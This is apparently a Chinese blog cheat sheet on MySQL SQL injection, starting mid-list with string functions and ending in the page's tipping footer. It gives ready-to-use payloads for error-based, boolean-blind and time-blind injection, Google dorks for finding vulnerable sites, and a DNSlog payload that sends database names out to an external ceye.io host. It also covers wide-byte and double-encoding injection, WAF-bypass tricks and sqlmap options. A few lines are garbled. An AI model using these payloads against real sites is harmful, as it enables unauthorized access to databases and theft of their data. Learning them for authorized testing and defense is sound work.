        a 所要截取字符串
        b 截取的位置
        c 截取的长度
        substr使用范围:oracle、mysql、sqlserver
        substring使用范围:mysql、sqlserver
        mid使用范围:mysql

12,进行16进制编码
        hex(); 
        select hex('dvwa')  //编码
        select unhex('64767761')  //解码
        select 0x64767761  //16进制解码

13,条件判断语句
        关键字:if
        if(arg1,arg2,arg3)
        arg1为判断的条件,arg2是条件为真时返回的结果,arg3是条件为假时返回的结果
        语句:select if(1=1, 'true', 'false‘)          返回结果:true
        case when arg1 then arg2 else arg3 end
        arg1为判断的条件,arg2是条件为真的返回结果,arg3是条件为假的返回结果
        语句:SELECT 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
        length(arg) :返回目标字符串的长度,注意:arg字符串。
        语句:select length(database());//返回当前数据库名字的长度

14,加密解密方式
        ascii(arg)/ord(arg) :返回目标字符对应的ASCII码,注意:arg为单个字符。
        语句:select ascii(‘a’)  //返回结果:97
        char(arg):返回ASCII码只对应的字符
        语句:select char(97)  //返回结果为a
        hex():将目标字符串装换成16进制格式的数据
        语句: select hex(“dvwa”)   //返回结果: 64767761
        unhex():将16进制格式的数据装换成原字符串
        语句:unhex(64767761)  //返回结果:dvwa

sql 注入基本流程

判断是否有注入点
获取数据库基本信息
获取数据库库名
获取数据库表名
获取数据库列名
获取用户信息
破解数据
提升权限
内网渗透

1. mysql 注入 常用 函数

1、system_user()系统用户名
2、user()用户名
3、current_user()当前用户名
4、session_user()链接数据库的用户名
5、database()数据库名
6、version()数据库版本
7、@@datadir数据库路径
8、@@basedir数据库安装路径
9、@@version_conpile_os操作系统
10、count()返回执行结果数量
11、concat()没有分隔符的链接字符串
12、concat_ws()含有分隔符的连接字符串
13、group_concat()连接一个组的所有字符串,并以逗号分隔每一条数据
14、load_file()读取本地文件
15、into outfile 写文件
16、ascii()字符串的ASCII代码值
17、ord()返回字符串第一个字符的ASCII值
18、mid()返回一个字符串的一部分
19、substr()返回一个字符串的一部分
20、length()返回字符串的长度
21、left()返回字符串最左面几个字符
22、floor()返回小于或等于x的最大整数
23、rand()返回0和1之间的一个随机数
24、extractvalue()

  • 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string(Xpath格式的字符串)
  • 作用:从目标XML中返回包含所查询值的字符串

25、updatexml()

  • 第一个参数:XML_docment是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:Xpath_string(Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据target.com
  • 作用:改变文档中符合条件的节点的值

26、sleep()让此语句运行N秒钟
27、if() SELECT IF(1>2,2,3) ; -->3
28、char()返回整数ASCII代码字符组成的字符串
29、strcmp()比较字符串内容
30、ifnull() 假如参数1不为NULL,则返回值为参数1,否则其返回值为参数2
31、exp()返回e的x次方

2. 目标 搜集

1、无特定目标:inurl:.php?id=
2、有特定目标:inurl:php?id= site:
3、工具爬取:spider,对搜索引擎和目标网站的链接进行爬取 

3. 注入 识别

1、手工简单识别:
and 1=1/and 1=2
and '1'='1/and '1'='2
and 1like 1/and 1like 2

2、工具识别:
sqlmap -m filename(filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后一次进行测试)

3、高级识别

    扩展识别广度和深度:
        sqlmap --level 增加测试级别,对 header 中相关参数也进行测试
        sqlmap -r filename ( filename中为网站请求数据 )

    利用工具识别提高效率
        BurpSuite + Sqlmap
        BurpSuite 拦截所有浏览器访问提交的数据
        BurpSuite 扩展插件,直接调用 Sqlmap 进行测试一些 Tips
        可以在参数后键入"*" 来确定想要测试的参数
        可能出现的点:新闻、登录、搜索、留言
        站在开发的角度去寻找

4. 报错 注入 方法

1、floor() :select count(*) from information_schema.tables group by concat((select
2、version()),floor(rand(0)*2));https://github.com/ADOOO/Dnslogsqlinj
3、group by会对rand()函数进行操作时产生错误
4、concat:连接字符串功能
5、floor:取float的整数值
6、rand:取0~1之间随机浮点值
7、group by:根据一个或多个列对结果集进行分组并有排序功能
8、extractvalue():extractvalue(1,concat(0x7e,(select user()),0x7e));
9、updatexml():select updatexml(1,concat(0x7e,(select user()),0x7e),1);

5. 布尔 盲注

1、left()函数
        left(database(),1)>'s'
        database()显示数据库名称,leȨ(a,b)从左侧截取a的前b位
2、regexp
        select user() regexp'^r'
        正则表达式的用法user()结果为root,regexp为匹配root的正则表达式
3、like
        select user() like'^ro%'
        与regexp类似,使用like进行匹配
4、substr()函数 ascii()函数
        substr()函数 ascii(substr((select database()),1,1))<>98
        substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符转换为ascii值
5、ord()函数 mid()函数
        ord(mid((select user()),1,1))=114
        mid(a,b,c)从位置b开始,截取a字符串的c位ord()函数同ascii(),将字符转为ascii值

6. 时间 盲注

if(left(user(),1)='a',0,sleep(3));

7. DNSlog 注入

SELECT LOAD_FILE(CONCAT('\\\\',select database(),'.mysql.r4ourp.ceye.io\\abc'));

8. 宽字节 注入

1、在注入点后键入%df,然后按照正常的诸如流程开始注入

2、黑盒测试:在可能的注入点后键入%df,之后进行注入测试

3、白盒测试:
        查看MySql编码是否为GBK
        是否使用preg_replace把单引号替换成\'
        是否使用addslashes进行转义
        是否使用mysql_real_escape_string进行转义

4、防止宽字节注入
        使用utf-8,避免宽字节注入
        ps:不仅在gbk,韩文、日文等等都是宽字节,都很有可能存在宽字节注入漏洞
        mysql_real_escape_string,mysql_set_charset('gbk',$conn);
        设置参数,character_set_client=binary

9. 二次 编码

1、在注入点后键入%2527,然后按照正常的注入流程开始注入
2、黑盒测试:在可能的注入点后键入%2527,之后进行注入测试
3、白盒测试:是否使用urldecode函数。urldecode函数是否存在转义方法之后

10. 二次 注入

1、插入恶意数据。第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,再写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

2、引用恶意数据。在将数据存入到数据库之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了而已数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

3、二次注入防御:对外部提交的数据,需要更加谨慎的对待。程序内部的数据调用,也要严格的进行检查,一旦不小心,测试者就能将特定了SQL语句带入到查询当中。

11. WAF 绕过

熟练掌握 MySQL 函数和语法使用方法 + 深入了解中间件运行处理机制 + 了解WAF防护原理及方法 = 随心所欲的绕过WAF的保护

1、白盒绕过
        使用了blacklist函数过滤了'or'和'AND'
        大小写变形:Or,OR,oR
        等价替换:and->&&,or->||

2、黑盒绕过
        寻找源站->针对云WAF
        利用同网段->绕过WAF防护区域
        利用边界漏洞->绕过WAF防护区域
        资源限制角度绕过WAF
        POST大BODY
        请求方式变换GET->POST
        Content-Type变换:application/x-www-form-urlencoded;->multipart/form-data;
        参数污染
        SQL注释符绕过
        Level-1:union/**/select
        Level-2:union/*aaaa%01bbs*/select
        Level-3:union/*aaaaaaaaaaaaaaaaaaaaaaa*/select
        内联注释:/*!xxx*/
        空白符绕过
        MySQL空白符:%09,%0A,%0B,%0D,%20,%0C,%A0,/*XXX*/
        正则的空白符:%09,%0A,%0B,%0D,%20
        Example-1:union%250Cselect
        Example-2:union%25A0select
        concat%2520(
        concat/**/(
        concat%250c(http://127.0.0.1/Less/?id=1
        concat%25a0(
        浮点数词法解析
        select * from users where id=8E0union select 1,2,3
        select * from users where id=8.0union select 1,2,3
        select * from users where id=\Nunion select 1,2,3
        extractvalue(1.concat(0x5c,md5(3)));
        updatexml(1,concat(0x5d,md5(3))),1);
        GeometryCollection((select*from(select@@version)f)x))
        polygon((select*from(select name_const(version(),1))x))
        linestring()
        multipoint()
        multilinestring()
        multipolygon()
        MySQL特殊语法
        select{x table_name}from{x information_schema.tables};

3、Fuzz 绕过
        注释符绕过
        最基本的:union/**/select
        中间引入特殊字:union/*aaa%0abbs*/select
        最后测试注释长度:union/*aaaaaaaaaaaaaaa*/select
        最基本的模式:union/*something*/select
        a1%!%2f

12. sqlmap 的 conf

sqlmap.py -v3 ( 主函数入口 )

  • --user-agent=websecurity(请求扩充)
  • --threads=5(访问优化)
  • -p id注入配置
  • --level 3(检测配置)
  • --technique=E(注入技术)
  • --current-user(信息获取)
  • --flush-session(通用设置)
  • --beep(杂项)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值